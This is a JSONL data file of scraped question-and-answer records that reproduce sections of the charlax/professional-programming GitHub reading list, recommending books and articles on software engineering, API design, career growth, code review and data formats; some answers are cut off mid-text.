patterns](#design-patterns)\n      - [Design: simplicity](#design-simplicity)\n    - [Dev environment & tools](#dev-environment--tools)\n    - [Docker](#docker)\n    - [Documentation](#documentation)\n    - [Dotfiles](#dotfiles)\n    - [Editors & IDE](#editors--ide)\n      - [Vim](#vim)\n    - [Email](#email)\n    - [Engineering management](#engineering-management)\n    - [Exercises](#exercises)\n    - [Experimentation](#experimentation)\n    - [Functional programming (FP)](#functional-programming-fp)\n    - [Games development](#games-development)\n    - [Graphics](#graphics)\n    - [Hardware](#hardware)\n    - [HTTP](#http)\n    - [Humor](#humor)\n    - [Incident response (oncall, alerting, outages, firefighting, postmortem)](#incident-response-oncall-alerting-outages-firefighting-postmortem)\n      - [Postmortem](#postmortem)\n    - [Internet](#internet)\n    - [Interviewing](#interviewing)\n    - [Kubernetes](#kubernetes)\n    - [Large Language Model (LLM)](#large-language-model-llm)\n    - [Learning & memorizing](#learning--memorizing)\n    - [Licenses (legal)](#licenses-legal)\n    - [Linux (system management)](#linux-system-management)\n    - [Low-code/no-code](#low-codeno-code)\n    - [Low-level, assembly](#low-level-assembly)\n    - [Machine learning/AI](#machine-learningai)\n    - [Math](#math)\n    - [Marketing](#marketing)\n    - [Network](#network)\n    - [Observability (monitoring, logging, exception handling)](#observability-monitoring-logging-exception-handling)\n      - [Logging](#logging)\n      - [Error/exception handling](#errorexception-handling)\n      - [Metrics](#metrics)\n      - [Monitoring](#monitoring)\n    - [Open source](#open-source)\n    - [Operating system (OS)](#operating-system-os)\n    - [Over-engineering](#over-engineering)\n    - [Performance](#performance)\n    - [Personal knowledge management (PKM)](#personal-knowledge-management-pkm)\n    - [Personal productivity](#personal-productivity)\n    - [Perspective](#perspective)\n    - [Privacy](#privacy)\n    - [Problem solving](#problem-solving)\n    - [Product management for software engineers](#product-management-for-software-engineers)\n    - [Project management](#project-management)\n    - [Programming languages](#programming-languages)\n      - [Python](#python)\n      - [JavaScript](#javascript)\n      - [Garbage collection](#garbage-collection)\n    - [Programming paradigm](#programming-paradigm)\n    - [Public speaking (presenting)](#public-speaking-presenting)\n    - [Reading](#reading)\n    - [Refactoring](#refactoring)\n    - [Regex](#regex)\n    - [Releasing & deploying](#releasing--deploying)\n      - [Versioning](#versioning)\n      - [Checklists](#checklists)\n      - [Feature flags](#feature-flags)\n      - [Testing in production](#testing-in-production)\n    - [Reliability](#reliability)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 50255, "answer_score": 10, "has_code": true, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519612"}
{"id": "gh_680c87335792", "question": "How to: Professional Programming - about this list", "question_body": "About charlax/professional-programming", "answer": "> Give me six hours to chop down a tree and I will spend the first four sharpening the axe. (Abraham Lincoln)\n\nA collection of full-stack resources for programmers.\n\nThe goal of this page is to make you a more proficient developer. You'll find only resources that I've found truly inspiring, or that have become timeless classics.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519625"}
{"id": "gh_b3546c73cd81", "question": "How to: Principles", "question_body": "About charlax/professional-programming", "answer": "- This page is not meant to be comprehensive. I am trying to keep it light and not too overwhelming.\n- The selection of articles is opinionated.\n- I don't necessarily agree with or endorse every single line that is written in every single one of those resources. The same applies to their authors: I don't endorse everything each of those authors has said and will ever say.\n\nItems:\n\n- 🧰 : list of resources\n- 📖 : book\n- 🎞 : video/movie extract/movie/talk\n- 🏙 : slides/presentation\n- ⭐️ : must-read\n- 📃 : paper", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519635"}
{"id": "gh_423e7d662f6f", "question": "How to: Contributing to this list", "question_body": "About charlax/professional-programming", "answer": "Feel free to open a PR to contribute!\n\nI will not be adding everything: as stated above, I am trying to keep the list concise.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519640"}
{"id": "gh_c04c27dafa0a", "question": "How to: Must-read books", "question_body": "About charlax/professional-programming", "answer": "I've found these books incredibly inspiring:\n\n- 📖 [The Pragmatic Programmer: From Journeyman to Master](https://pragprog.com/titles/tpp20/): hands-on the most inspiring and useful book I've read about programming.\n- 📖 [Code Complete: A Practical Handbook of Software Construction](http://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670): a nice addition to The Pragmatic Programmer, gives you the necessary framework to talk about code.\n- 📖 [Release It!](https://smile.amazon.com/Release-Design-Deploy-Production-Ready-Software/dp/1680502395): this books goes beyond code and gives you best practices for building production-ready software. It will give you about 3 years worth of real-world experience.\n- 📖 [Scalability Rules: 50 Principles for Scaling Web Sites](https://smile.amazon.com/Scalability-Rules-Principles-Scaling-Sites/dp/013443160X)\n- 📖 [The Linux Programming Interface: A Linux and UNIX System Programming Handbook](http://www.amazon.com/The-Linux-Programming-Interface-Handbook/dp/1593272200): outside of teaching you almost everything you need to know about Linux, this book will give you insights into how software evolves, and the value of having simple & elegant interfaces.\n- 📖 [Structure and interpretation of Computer Programs](https://web.mit.edu/6.001/6.037/sicp.pdf) (free): One of the most influential textbooks in Computer Science (written and used at MIT), SICP has been influential in CS education. [Byte](\n) recommended SICP \"for professional programmers who are really interested in their profession\".\n\nThere are some free books available, including:\n\n- 📖 [Professional software development](http://mixmastamyk.bitbucket.io/pro_soft_dev/): pretty complete and a good companion to this page. The free chapters are mostly focused on software development processes: design, testing, code writing, etc. - and not so much about tech itself.\n- 🧰 [vhf/free-programming-books](https://github.com/vhf/free-programming-books)\n- 🧰 [EbookFoundation/free-programming-books](https://github.com/EbookFoundation/free-programming-books/tree/main/books)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519651"}
{"id": "gh_98b77d9d1c46", "question": "How to: Must-read articles", "question_body": "About charlax/professional-programming", "answer": "- [Practical Advice for New Software Engineers](http://product.hubspot.com/blog/practical-advice-for-new-software-engineers)\n- [On Being A Senior Engineer](http://www.kitchensoap.com/2012/10/25/on-being-a-senior-engineer/)\n- [Lessons Learned in Software Development](http://henrikwarne.com/2015/04/16/lessons-learned-in-software-development/): one of those articles that give you years of hard-earned lessons, all in one short article. Must read.\n- [Things I Learnt The Hard Way](https://blog.juliobiason.me/thoughts/things-i-learnt-the-hard-way/)\n  - Spec first, then code\n  - Tests make better APIs\n  - Future thinking is future trashing\n  - Documentation is a love letter to your future self\n  - Sometimes, it's better to let the application crash than do nothing\n  - Understand and stay away of cargo cult\n  - \"Right tool for the job\" is just to push an agenda\n  - Learn the basics functional programming\n  - ALWAYS use timezones with your dates\n  - ALWAYS use UTF-8\n  - Create libraries\n  - Learn to monitor\n  - Explicit is better than implicit\n  - Companies look for specialists but keep generalists longer\n  - The best secure way to deal with user data is not to capture it\n  - When it's time to stop, it's time to stop\n  - You're responsible for the use of your code\n  - Don't tell \"It's done\" when it's not\n  - Pay attention on how people react to you\n  - Beware of micro-aggressions\n  - Keep a list of \"Things I Don't Know\"\n- [Signs that you're a good programmer](https://skatgame.net/mburo//courses/350/signs-that-you-re-a-good-programmer.html) (not everything in here is great - some of the points are counterproductive)\n  - The instinct to experiment first\n  - Emotional detachment from code and design\n  - Eager to fix what isn't broken\n  - Fascinated by the incomprehensible\n  - Compelled to teach\n  - Incorruptible patience\n  - A destructive pursuit of perfection\n  - Encyclopedic grasp of the platform\n  - Thinks In Code\n  - When In Rome, Does As Romans Do\n  - Creates their own tools\n  - Indifferent to Hierarchy\n  - Excited by failure\n  - Indifferent to circumstances\n  - Substitutes impulse for commitment\n  - Driven by experiences\n- [7 absolute truths I unlearned as junior developer](https://monicalent.com/blog/2019/06/03/absolute-truths-unlearned-as-junior-developer/)\n  - Early in your career, you can learn 10x more in a supportive team in 1 year, than coding on your own\n  - Every company has problems, every company has technical debt.\n  - Being overly opinionated on topics you lack real-world experience with is pretty arrogant.\n  - Many conference talks cover proof of concepts rather than real-world scenarios.\n  - Dealing with legacy is completely normal.\n  - Architecture is more important than nitpicking.\n  - Focus on automation over documentation where appropriate.\n  - Having some technical debt is healthy.\n  - Senior engineers must develop many skills besides programming.\n  - We’re all still junior in some areas.\n- [How to Build Good Software](https://knowledge.csc.gov.sg/ethos-issue-21/how-to-build-good-software/)\n  - A good high-level summary of fundamental engineering practices.\n  - The root cause of bad software has less to do with specific engineering choices, and more to do with how development projects are managed.\n  - There is no such thing as platonically good engineering: it depends on your needs and the practical problems you encounter.\n  - Software should be treated not as a static product, but as a living manifestation of the development team’s collective understanding.\n  - Software projects rarely fail because they are too small; they fail because they get too big.\n  - Beware of bureaucratic goals masquerading as problem statements. If our end goal is to make citizens’ lives better, we need to explicitly acknowledge the things that are making their lives worse.\n  - Building software is not about avoiding failure; it is about strategically failing as fast as possible to get the information you need to build something good.\n- [How to be a -10x Engineer](https://taylor.town/-10x)\n  - Nullify the output of 10 engineers.\n  - Hold 10 engineers hostage in a technical discussion.\n  - Waste 10 weeks of wages on cloud costs.\n  - Waste 400 hours of engineering on bad architecture.\n  - Incur 400 hours of bug triage.\n- [A Bunch of Programming Advice I'd Give To Myself 15 Years Ago](https://mbuffett.com/posts/programming-advice-younger-self/)\n  - If you (or your team) are shooting yourselves in the foot constantly, fix the gun\n  - Assess the trade-off you’re making between quality and pace, make sure it’s appropriate for your context\n  - Spending time sharpening the axe is almost always worth it\n  - If you can’t easily explain why something is difficult, then it’s incidental complexity, which is probably worth addressing\n  - Try to solve bugs one layer deeper\n  - Don’t underestimate the value of digging into history to investigate some bugs\n  - Bad code gives you feedback, perfect code doesn’t. Err on the side of writi", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 50255, "answer_score": 10, "has_code": true, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519679"}
{"id": "gh_6123ddb7e1f8", "question": "How to: Other lists", "question_body": "About charlax/professional-programming", "answer": "- [liuchong/awesome-roadmaps: A curated list of roadmaps.](https://github.com/liuchong/awesome-roadmaps)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519685"}
{"id": "gh_87646e1e82bd", "question": "How to: Accounting", "question_body": "About charlax/professional-programming", "answer": "- [Engineers Do Not Get To Make Startup Mistakes When They Build Ledgers](https://news.alvaroduran.com/p/engineers-do-not-get-to-make-startup)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519696"}
{"id": "gh_7f37d24c42cc", "question": "How to: Algorithm and data structures", "question_body": "About charlax/professional-programming", "answer": "- Read the [CLRS](https://mitpress.mit.edu/books/introduction-algorithms). You can watch and download the course on [OCW](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-introduction-to-algorithms-sma-5503-fall-2005/) - there are newer courses as well.\n- Or [The Algorithm Design Manual](https://www.amazon.com/Algorithm-Design-Manual-Steven-Skiena/dp/1849967202?ie=UTF8&qid=1297127794&ref_=sr_1_1&sr=8-1)\n- Try out some algorithms on [Project Euler](https://projecteuler.net/)\n- [CS 61B Spring 2023](https://sp23.datastructur.es/)\n\nOther resources:\n\n- [Algorithms](http://jeffe.cs.illinois.edu/teaching/algorithms/), Jeff Erickson\n\nLet's be honest: algorithms can be a pretty dry topic. [This quora question](https://www.quora.com/Is-there-a-book-that-teaches-algorithms-data-structures-and-other-computer-science-basics-in-a-fun-way) lists some funnier learning alternative, including:\n\n- [Grokking Algorithms](https://www.amazon.com/dp/1617292230/ref=cm_sw_su_dp)\n- [Essential Algorithms](https://www.amazon.com/Essential-Algorithms-Practical-Approach-Computer/dp/1118612108?ie=UTF8&*Version*=1&*entries*=0)\n- [Data Structure Visualization](https://www.cs.usfca.edu/~galles/visualization/Algorithms.html)\n- 🎞 [15 Sorting Algorithms in 6 Minutes](https://www.youtube.com/watch?v=kPRA0W1kECg&ab_channel=TimoBingmann)\n- [Hashing](https://samwho.dev/hashing/)\n- [Visualizing Algorithms](https://bost.ocks.org/mike/algorithms/)\n- [B-trees and database indexes](https://planetscale.com/blog/btrees-and-database-indexes)\n- [Big O visualizations](https://samwho.dev/big-o/)\n- [Algorithm explained like Ikea instructions](https://idea-instructions.com/)\n\nExample implementations:\n\n- [trekhleb/javascript-algorithms](https://github.com/trekhleb/javascript-algorithms): algorithms and data structures implemented in JavaScript\n- [The Algorithms](https://the-algorithms.com/)\n\nAlgorithms in distributed systems:\n\n- [Raft Consensus Algorithm](https://raft.github.io/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519708"}
{"id": "gh_c556700fb7b2", "question": "How to: API design & development", "question_body": "About charlax/professional-programming", "answer": "General REST content:\n\n- [Architectural Styles and the Design of Network-based Software Architectures](https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm), Roy Fielding (the inventor of REST)\n- [A collection of useful resources for building RESTful HTTP+JSON APIs.](https://github.com/yosriady/api-development-tools)\n- [Best practices for REST API design](https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/), Stack Overflow Blog\n- 📖 [Undisturbed REST: a guide to designing the perfect API](https://www.mulesoft.com/sites/default/files/resource-assets/ebook-UndisturbedREST_v1.pdf): very complete book about RESTful API design.\n\nExample guidelines:\n\n- [Microsoft's Rest API guidelines](https://github.com/Microsoft/api-guidelines/blob/master/Guidelines.md)\n- [Zalando RESTful API and Event Scheme Guidelines](https://opensource.zalando.com/restful-api-guidelines/)\n- [Google's API Design Guide](https://cloud.google.com/apis/design/): a general guide to design networked API.\n- [AIP-1: AIP Purpose and Guidelines](https://google.aip.dev/1)\n  - AIP stands for API Improvement Proposal, which is a design document providing high-level, concise documentation for API development.\n\nMore specific topics:\n\n- [Why you should use links, not keys, to represent relationships in APIs](https://cloud.google.com/blog/products/application-development/api-design-why-you-should-use-links-not-keys-to-represent-relationships-in-apis), Martin Nally, Google\n  - \"Using links instead of foreign keys to express relationships in APIs reduces the amount of information a client needs to know to use an API, and reduces the ways in which clients and servers are coupled to each other.\"\n- [Give me /events, not webhooks](https://blog.sequin.io/events-not-webhooks/)\n  - Events can unlock much-needed webhook features, like allowing your webhook consumers to replay or reset the position of their webhook subscription.\n- [Unlocking the Power of JSON Patch](https://zuplo.com/blog/2024/10/10/unlocking-the-power-of-json-patch)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519719"}
{"id": "gh_995f791d9809", "question": "How to: Authentication/authorization", "question_body": "About charlax/professional-programming", "answer": "- [Authorization in a microservices world](https://www.alexanderlolis.com/authorization-in-a-microservices-world)\n- [Authorization Logic: Rules are hard because they evolve over time](https://www.osohq.com/post/rules-are-hard-logic-for-authorization)\n- [The Copenhagen Book](https://thecopenhagenbook.com/) provides a general guideline on implementing auth in web applications", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519762"}
{"id": "gh_4ce10ff014e4", "question": "How to: Automation", "question_body": "About charlax/professional-programming", "answer": "- [Automation Should Be Like Iron Man, Not Ultron](http://queue.acm.org/detail.cfm?id=2841313)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519766"}
{"id": "gh_21be541eb67f", "question": "How to: Best practices", "question_body": "About charlax/professional-programming", "answer": "- [Software engineering practices](https://simonwillison.net/2022/Oct/1/software-engineering-practices/#tested-dev-environments)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519770"}
{"id": "gh_508dbc961597", "question": "How to: Beyond software engineering & random", "question_body": "About charlax/professional-programming", "answer": "- [Why Software Engineers like Woodworking](https://www.zainrizvi.io/blog/why-software-engineers-like-woodworking/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519774"}
{"id": "gh_1683cb13f719", "question": "How to: Buy vs. Build", "question_body": "About charlax/professional-programming", "answer": "- [Choose Boring Technology](https://boringtechnology.club/)\n- [Build vs. Buy](https://entropicthoughts.com/build-vs-buy)\n  - The reason we want to buy as much as possible is that an organisation has a limited capacity for expertise, so we don’t want to have to become experts on things that don’t make up a competitive advantage.\n- [Platform Engineering: Build vs Buy](https://kanenarraway.com/posts/platform-engineering-build-vs-buy/)\n  - If someone tells me they can build something cheaper than a vendor, I’m immediately skeptical because I don’t think most people can accurately forecast the actual cost of maintenance in the long term.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519782"}
{"id": "gh_921b2a6a497b", "question": "How to: Career growth", "question_body": "About charlax/professional-programming", "answer": "- [The Conjoined Triangles of Senior-Level Development](https://frontside.com/blog/2016-07-07-the-conjoined-triangles-of-senior-level-development) looks into how to define a senior engineer.\n- [Ten Principles for Growth as an Engineer](https://medium.com/@daniel.heller/ten-principles-for-growth-69015e08c35b), Dan Heller.\n- [Don't Call Yourself a Programmer](https://www.kalzumeus.com/2011/10/28/dont-call-yourself-a-programmer/), Patrick McKenzie.\n- [On being an Engineering Manager](https://nickmchardy.com/2019/02/on-being-an-engineering-manager.html)\n- [The career advice I wish I had at 25](https://www.linkedin.com/pulse/career-advice-i-wish-had-25-shane-rodgers/?trk=hp-feed-article-title-like)\n  - A career is a marathon, not a sprint\n  - Most success comes from repetition, not new things\n  - If work was really so great all the rich people would have the jobs\n  - Management is about people, not things\n  - Genuinely listen to others\n  - Recognise that staff are people with finite emotional capacity\n  - Don’t just network with people your own age\n  - Never sacrifice personal ethics for a work reason\n  - Recognise that failure is learning\n- [Career advice I wish I’d been given when I was young](https://80000hours.org/2019/04/career-advice-i-wish-id-been-given-when-i-was-young/)\n  - Don’t focus too much on long-term plans.\n  - Find good thinkers and cold-call the ones you most admire.\n  - Assign a high value to productivity over your whole lifespan.\n  - Don’t over-optimise things that aren’t your top priority.\n  - Read a lot, and read things that people around you aren’t reading.\n  - Reflect seriously on what problem to prioritise solving.\n  - Read more history.\n- [Why Good Developers are Promoted into Unhappiness](https://robwalling.com/2007/06/27/why-good-developers-are-promoted-into-unhappiness/), Rob Walling. Or why management might not be for you.\n- [A guide to using your career to help solve the world’s most pressing problems](https://80000hours.org/key-ideas/)\n- [What's a senior engineer's job?](https://jvns.ca/blog/senior-engineer/) You need to be more than just an individual contributor.\n- [From Coding Bootcamp Graduate to Building Distributed Databases](https://medium.com/swlh/from-coding-bootcamp-graduate-to-building-distributed-databases-29acbb723d8)\n  - Read Books (and papers), not Blog Posts\n  - Take responsibility for your career trajectory\n- 🏙 [The Well Rounded Engineer](https://speakerdeck.com/swanandp/the-well-rounded-engineer) includes lots of great book recommendations.\n  - Paradigm polyglot (learn different languages & paradigms)\n  - Database polyglot\n  - Protocol polyglot (preferably TCP/IP and HTTP)\n  - Proficiency with build tooling, packaging and distribution\n  - Debugging, observability\n  - Deployment, infra and devops\n  - Software architecture and scaling\n  - Ability to write toy compilers, interpreters and parsers\n  - Ability to write toy games\n  - Ability to understand algorithmic analysis\n- [Some career advice](https://lethain.com/career-advice/), Will Larson.\n  - Advice you get is someone’s attempt to synthesize their experiences, not an accurate statement about how the world works.\n  - Build a reservoir of prestige.\n  - Some folks are so good at something that they end up being irreplaceable in their current role, which causes them to get stuck in their role even if they’re a good candidate for more interesting ones.\n  - Great relationships will follow you everywhere you go. Bad ones too.\n  - Early in your career, try to work at as many different kinds of companies and in different product vertical as you can.\n- [Evil tip: avoid \"easy\" things](http://yosefk.com/blog/evil-tip-avoid-easy-things.html)\n- [The Ultimate Code Kata](https://blog.codinghorror.com/the-ultimate-code-kata/)\n- [Traits of a senior software engineer](https://sergiomartins8.hashnode.dev/why-is-a-senior-engineer-senior): impact, perception, visibility, influence, mentoring\n- [Software Engineering - The Soft Parts](https://addyosmani.com/blog/software-engineering-soft-parts/)\n  - Think critically and formulate well-reasoned arguments\n  - Master the fundamentals\n  - Focus on the user and all else will follow\n  - Learn how to learn\n- [How To Own Your Growth As A Software Engineer](https://jes.al/2022/07/how-to-own-your-growth-as-a-software-engineer/)\n- [The Forty-Year Programmer](https://codefol.io/posts/the-forty-year-programmer/)\n  - The Better You Get, the Less You Look Like Everybody Else\n  - You Learn Deep Principles by Doing the Basics\n  - Look to Other Fields, Learn From Other Fields\n  - Be Careful About Productivity Tips\n- [Senior Engineers are Living in the Future](https://www.zerobanana.com/essays/living-in-the-future/)\n- [What would a map of your career look like?](https://tomcritchlow.com/2023/04/26/career-maps/)\n- [How to be successful at Amazon (or any other large company for that matter)](https://www.reddit.com/r/cscareerquestions/comments/4x0ugj/how_to_be_successful_at_amazon_or_any_other_large/)\n- [B", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519814"}
{"id": "gh_692afe75db44", "question": "How to: Characters sets", "question_body": "About charlax/professional-programming", "answer": "- [The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)](http://www.joelonsoftware.com/articles/Unicode.html)\n- [The Absolute Minimum Every Software Developer Must Know About Unicode in 2023 (Still No Excuses!)](https://tonsky.me/blog/unicode/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519820"}
{"id": "gh_84b4e96dab0a", "question": "How to: Code reviews", "question_body": "About charlax/professional-programming", "answer": "- [How to do a code review](https://google.github.io/eng-practices/review/reviewer/), Google's engineering practices documentation.\n- [Post-Commit Reviews](https://medium.com/@copyconstruct/post-commit-reviews-b4cc2163ac7a): an interesting idea to increase developer velocity (there are some caveats though).\n- [How to Make Your Code Reviewer Fall in Love with You](https://mtlynch.io/code-review-love/)\n  - Review your own code first\n  - Write a clear changelist description\n  - Automate the easy stuff\n  - Answer questions with the code itself\n  - Narrowly scope changes\n  - Separate functional and non-functional changes\n  - Respond graciously to critiques\n  - Artfully solicit missing information\n  - Award all ties to your reviewer\n  - Minimize lag between rounds of review\n- [How to Do Code Reviews Like a Human](https://mtlynch.io/human-code-reviews-1/)\n- [Ask HN: How do you review code?](https://news.ycombinator.com/item?id=11416746): great discussion on HackerNews, full of interesting ideas.\n- [Maslow's pyramid of code reviews](https://www.dein.fr/posts/2015-02-18-maslows-pyramid-of-code-review)\n  - Another one on the same topic: [The Code Review Pyramid](https://www.morling.dev/blog/the-code-review-pyramid/)\n- [Code review in remote teams](https://web.hypothes.is/blog/code-review-in-remote-teams/): very complete set of rules.\n- [No code reviews by default](https://www.raycast.com/blog/no-code-reviews-by-default/)\n  - Responsibility over convention", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519828"}
{"id": "gh_133547469c2a", "question": "How to: Communication", "question_body": "About charlax/professional-programming", "answer": "See also the Writing section\n\n- [How to communicate effectively as a developer](https://www.karlsutt.com/articles/communicating-effectively-as-a-developer/)\n  - Lots of concrete advice and examples for short, medium and long-form writing\n- [What Do You Visualize While Programming?](https://dillonshook.com/what-do-you-visualize-while-programming/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519844"}
{"id": "gh_853a0eeae718", "question": "How to: Configuration", "question_body": "About charlax/professional-programming", "answer": "- [The downsides of JSON for config files](https://arp242.net/weblog/JSON_as_configuration_files-_please_dont.html), Martin Tournoij.\n  - Can't add comments\n  - Excessive quotation and syntax noise\n  - Using DC (declarative configuration) to control logic is often not a good idea.\n- [Your configs suck? Try a real programming language](https://beepb00p.xyz/configs-suck.html)\n  - Most modern config formats suck\n  - Use a real programming language\n- [Code rant: The Configuration Complexity Clock](https://mikehadlow.blogspot.com/2012/05/configuration-complexity-clock.html)\n  - I’m not saying that it’s never appropriate to implement complex configuration, a rules-engine or a DSL, Indeed I would jump at the chance of building a DSL given the right requirements, but I am saying that you should understand the implications and recognise where you are on the clock before you go down that route.\n  - Initially there was hope that non-technical business users would be able to use the GUI to configure the application, but that turned out to be a false hope; the mapping of business rules into the engine requires a level of expertise that only some members of the development team possess.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519852"}
{"id": "gh_2e34fb2f8415", "question": "How to: Continuous Integration (CI)", "question_body": "About charlax/professional-programming", "answer": "- [Continuous Integration](https://martinfowler.com/articles/continuousIntegration.html), MartinFowler.com", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519856"}
{"id": "gh_a3a614898738", "question": "How to: Data analysis & data science", "question_body": "About charlax/professional-programming", "answer": "- [Ways to make fake data look meaningful](https://danbirken.com/statistics/2013/11/19/ways-to-make-fake-data-look-meaningful.html)\n  - Don’t share the raw data\n  - Don’t share your methodology\n  - Don’t include confidence intervals\n  - Don’t challenge your own data\n- 📖 [Python Data Science Handbook](https://jakevdp.github.io/PythonDataScienceHandbook/), O'Reilly", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519862"}
{"id": "gh_45cfab4e764f", "question": "How to: Data formats", "question_body": "About charlax/professional-programming", "answer": "- [Falsehoods Programmers Believe About Phone Numbers](https://github.com/googlei18n/libphonenumber/blob/master/FALSEHOODS.md), Google's `libphonenumber`.\n- [Rules for Autocomplete](http://jeremymikkola.com/posts/2019_03_19_rules_for_autocomplete.html): rough specifications for autocomplete fields\n- [Falsehoods programmers believe about addresses](https://www.mjt.me.uk/posts/falsehoods-programmers-believe-about-addresses/)\n- [Falsehoods Programmers Believe About Names](https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/)\n- [kdeldycke/awesome-falsehood](https://github.com/kdeldycke/awesome-falsehood): falsehoods programmers believe in\n- [Understanding UUIDs, ULIDs and String Representations](https://sudhir.io/uuids-ulids)\n- [Falsehoods Programmers Believe About Falsehoods Lists](https://kevin.deldycke.com/2016/falsehoods-programmers-believe-about-falsehoods-lists)\n- [Australia/Lord_Howe is the weirdest timezone](https://ssoready.com/blog/engineering/truths-programmers-timezones/)\n- [A love letter to the CSV format](https://github.com/medialab/xan/blob/master/docs/LOVE_LETTER.md)\n- [Falsehoods Programmers Believe About Aviation](https://flightaware.engineering/falsehoods-programmers-believe-about-aviation/)\n- [Schemas - Schema.org](https://schema.org/docs/schemas.html)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519874"}
